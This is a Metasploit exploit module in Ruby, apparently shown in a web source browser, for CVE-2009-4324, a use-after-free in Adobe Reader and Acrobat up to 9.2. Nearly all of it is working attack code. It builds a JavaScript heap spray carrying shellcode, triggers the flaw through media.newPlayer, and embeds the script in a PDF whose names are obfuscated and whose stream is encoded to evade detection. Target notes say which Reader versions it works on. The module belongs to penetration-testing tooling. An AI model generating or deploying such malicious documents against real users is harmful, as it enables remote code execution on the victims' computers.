root / modules / exploits / windows / fileformat / adobe_media_newplayer.rb @ 7882
History | View | Annotate | Download (5.7 kB)
| 1 |
##
|
|---|---|
| 2 |
# $Id$
|
| 3 |
##
|
| 4 |
|
| 5 |
##
|
| 6 |
# This file is part of the Metasploit Framework and may be subject to
|
| 7 |
# redistribution and commercial restrictions. Please see the Metasploit
|
| 8 |
# web site for more information on licensing and terms of use.
|
| 9 |
# http://metasploit.com/
|
| 10 |
##
|
| 11 |
|
| 12 |
require 'msf/core'
|
| 13 |
require 'zlib'
|
| 14 |
|
| 15 |
class Metasploit3 < Msf::Exploit::Remote |
| 16 |
Rank = GoodRanking |
| 17 |
|
| 18 |
include Msf::Exploit::FILEFORMAT |
| 19 |
|
| 20 |
def initialize(info = {}) |
| 21 |
super(update_info(info,
|
| 22 |
'Name' => 'Adobe Doc.media.newPlayer Use After Free Vulnerability', |
| 23 |
'Description' => %q{ |
| 24 |
This module exploits a use after free vulnerability in Adobe Reader and Adobe Acrobat |
| 25 |
Professional versions up to and including 9.2. |
| 26 |
},
|
| 27 |
'License' => MSF_LICENSE, |
| 28 |
'Author' =>
|
| 29 |
[ |
| 30 |
'unknown', # Found in the wild |
| 31 |
# Metasploit version by:
|
| 32 |
'hdm',
|
| 33 |
'pusscat',
|
| 34 |
'jduck'
|
| 35 |
], |
| 36 |
'Version' => '$Revision$', |
| 37 |
'References' =>
|
| 38 |
[ |
| 39 |
[ 'CVE', '2009-4324' ], |
| 40 |
[ 'BID', '37331' ], |
| 41 |
[ 'OSVDB', '60980' ] |
| 42 |
], |
| 43 |
'DefaultOptions' =>
|
| 44 |
{
|
| 45 |
'EXITFUNC' => 'process', |
| 46 |
'DisablePayloadHandler' => 'true', |
| 47 |
}, |
| 48 |
'Payload' =>
|
| 49 |
{
|
| 50 |
'Space' => 1024, |
| 51 |
'BadChars' => "\x00", |
| 52 |
'DisableNops' => true |
| 53 |
}, |
| 54 |
'Platform' => 'win', |
| 55 |
'Targets' =>
|
| 56 |
[ |
| 57 |
# test results (on Windows XP SP3)
|
| 58 |
# reader 6.0.1 - vulnerable / doesn't work
|
| 59 |
# reader 7.0.5 - untested
|
| 60 |
# reader 7.0.8 - untested
|
| 61 |
# reader 7.0.9 - vulnerable / doesn't work
|
| 62 |
# reader 7.1.0 - untested
|
| 63 |
# reader 7.1.1 - untested
|
| 64 |
# reader 8.0.0 - untested
|
| 65 |
# reader 8.1.1 - works
|
| 66 |
# reader 8.1.2 - untested
|
| 67 |
# reader 8.1.3 - untested
|
| 68 |
# reader 8.1.4 - untested
|
| 69 |
# reader 8.1.5 - untested
|
| 70 |
# reader 8.1.6 - untested
|
| 71 |
# reader 9.0.0 - untested
|
| 72 |
# reader 9.1.0 - works
|
| 73 |
# reader 9.2 - works (no debugger, no DEP)
|
| 74 |
[ 'Adobe Reader Windows English (JS Heap Spray)',
|
| 75 |
{
|
| 76 |
'Size' => (0x10000/2), |
| 77 |
'Ret' => 0x0c0c0c0c, |
| 78 |
} |
| 79 |
], |
| 80 |
[ 'Adobe Reader Windows German (JS Heap Spray)',
|
| 81 |
{
|
| 82 |
'Size' => (0x10000/2), |
| 83 |
'Ret' => 0x0a0a0a0a, |
| 84 |
} |
| 85 |
], |
| 86 |
], |
| 87 |
'DisclosureDate' => 'Dec 14 2009', |
| 88 |
'DefaultTarget' => 0)) |
| 89 |
|
| 90 |
register_options( |
| 91 |
[ |
| 92 |
OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']), |
| 93 |
], self.class)
|
| 94 |
|
| 95 |
end
|
| 96 |
|
| 97 |
def exploit |
| 98 |
|
| 99 |
# Encode the shellcode.
|
| 100 |
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) |
| 101 |
|
| 102 |
# Make some nops
|
| 103 |
nops = Rex::Text.to_unescape([target.ret].pack('V')) |
| 104 |
|
| 105 |
# Randomize variables
|
| 106 |
#
|
| 107 |
len = 72
|
| 108 |
rand1 = rand_text_alpha(rand(100) + 1) |
| 109 |
rand2 = rand_text_alpha(rand(100) + 1) |
| 110 |
rand3 = rand_text_alpha(rand(100) + 1) |
| 111 |
rand4 = rand_text_alpha(len/2).gsub(/([dhHjmMsty])/m, '\\\\' + '\1') |
| 112 |
rand5 = rand_text_alpha(len/2).gsub(/([dhHjmMsty])/m, '\\\\' + '\1') |
| 113 |
|
| 114 |
vtbuf = [target.ret].pack('V') * 4 |
| 115 |
vtbuf << rand_text_alpha(len - vtbuf.length) |
| 116 |
vtbuf.gsub!(/([dhHjmMsty])/m, '\\\\' + '\1') |
| 117 |
retstring = Rex::Text.to_unescape(vtbuf) |
| 118 |
|
| 119 |
# The printd strings are 72 bytes (??)
|
| 120 |
script = %Q|
|
| 121 |
var #{rand1} = unescape("#{shellcode}"); |
| 122 |
var #{rand2} = unescape("#{nops}"); |
| 123 |
var #{rand3} = unescape("#{retstring}"); |
| 124 |
|
| 125 |
while(#{rand2}.length <= #{target['Size']}) #{rand2}+=#{rand2}; |
| 126 |
#{rand2}=#{rand2}.substring(0,#{target['Size']} - #{rand1}.length); |
| 127 |
|
| 128 |
memory=new Array(); |
| 129 |
|
| 130 |
for(i=0;i<0x2000;i++) {
|
| 131 |
memory[i]= #{rand2} + #{rand1}; |
| 132 |
} |
| 133 |
|
| 134 |
util.printd("#{rand4}", new Date());
|
| 135 |
util.printd("#{rand5}", new Date());
|
| 136 |
try {this.media.newPlayer(null);} catch(e) {}
|
| 137 |
util.printd(#{rand3}, new Date()); |
| 138 |
|
|
| 139 |
|
| 140 |
# Create the pdf
|
| 141 |
pdf = make_pdf(script) |
| 142 |
|
| 143 |
print_status("Creating '#{datastore['FILENAME']}' file...")
|
| 144 |
|
| 145 |
file_create(pdf) |
| 146 |
|
| 147 |
end
|
| 148 |
|
| 149 |
|
| 150 |
def RandomNonASCIIString(count) |
| 151 |
result = ""
|
| 152 |
count.times do
|
| 153 |
result << (rand(128) + 128).chr |
| 154 |
end
|
| 155 |
result |
| 156 |
end
|
| 157 |
|
| 158 |
def ioDef(id) |
| 159 |
"%d 0 obj" % id
|
| 160 |
end
|
| 161 |
|
| 162 |
def ioRef(id) |
| 163 |
"%d 0 R" % id
|
| 164 |
end
|
| 165 |
|
| 166 |
|
| 167 |
#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
|
| 168 |
def nObfu(str) |
| 169 |
result = ""
|
| 170 |
str.scan(/./u) do |c| |
| 171 |
if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z' |
| 172 |
result << "#%x" % c.unpack("C*")[0] |
| 173 |
else
|
| 174 |
result << c |
| 175 |
end
|
| 176 |
end
|
| 177 |
result |
| 178 |
end
|
| 179 |
|
| 180 |
|
| 181 |
def ASCIIHexWhitespaceEncode(str) |
| 182 |
result = ""
|
| 183 |
whitespace = ""
|
| 184 |
str.each_byte do |b|
|
| 185 |
result << whitespace << "%02x" % b
|
| 186 |
whitespace = " " * (rand(3) + 1) |
| 187 |
end
|
| 188 |
result << ">"
|
| 189 |
end
|
| 190 |
|
| 191 |
|
| 192 |
def make_pdf(js) |
| 193 |
|
| 194 |
xref = [] |
| 195 |
eol = "\x0d\x0a"
|
| 196 |
endobj = "endobj" << eol
|
| 197 |
|
| 198 |
pdf = "%PDF-1.5" << eol
|
| 199 |
pdf << "%" << RandomNonASCIIString(4) << eol |
| 200 |
xref << pdf.length |
| 201 |
pdf << ioDef(1) << nObfu("<</Type/Catalog/Outlines ") << ioRef(2) << nObfu("/Pages ") << ioRef(3) << nObfu("/OpenAction ") << ioRef(5) << ">>" << endobj |
| 202 |
xref << pdf.length |
| 203 |
pdf << ioDef(2) << nObfu("<</Type/Outlines/Count 0>>") << endobj |
| 204 |
xref << pdf.length |
| 205 |
pdf << ioDef(3) << nObfu("<</Type/Pages/Kids[") << ioRef(4) << nObfu("]/Count 1>>") << endobj |
| 206 |
xref << pdf.length |
| 207 |
pdf << ioDef(4) << nObfu("<</Type/Page/Parent ") << ioRef(3) << nObfu("/MediaBox[0 0 612 792]>>") << endobj |
| 208 |
xref << pdf.length |
| 209 |
pdf << ioDef(5) << nObfu("<</Type/Action/S/JavaScript/JS ") + ioRef(6) + ">>" << endobj |
| 210 |
xref << pdf.length |
| 211 |
compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js)) |
| 212 |
pdf << ioDef(6) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol |
| 213 |
pdf << "stream" << eol
|
| 214 |
pdf << compressed << eol |
| 215 |
pdf << "endstream" << eol
|
| 216 |
pdf << endobj |
| 217 |
xrefPosition = pdf.length |
| 218 |
pdf << "xref" << eol
|
| 219 |
pdf << "0 %d" % (xref.length + 1) << eol |
| 220 |
pdf << "0000000000 65535 f" << eol
|
| 221 |
xref.each do |index|
|
| 222 |
pdf << "%010d 00000 n" % index << eol
|
| 223 |
end
|
| 224 |
pdf << "trailer" << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(1) << ">>" << eol |
| 225 |
pdf << "startxref" << eol
|
| 226 |
pdf << xrefPosition.to_s() << eol |
| 227 |
pdf << "%%EOF" << eol
|
| 228 |
|
| 229 |
end
|
| 230 |
|
| 231 |
end
|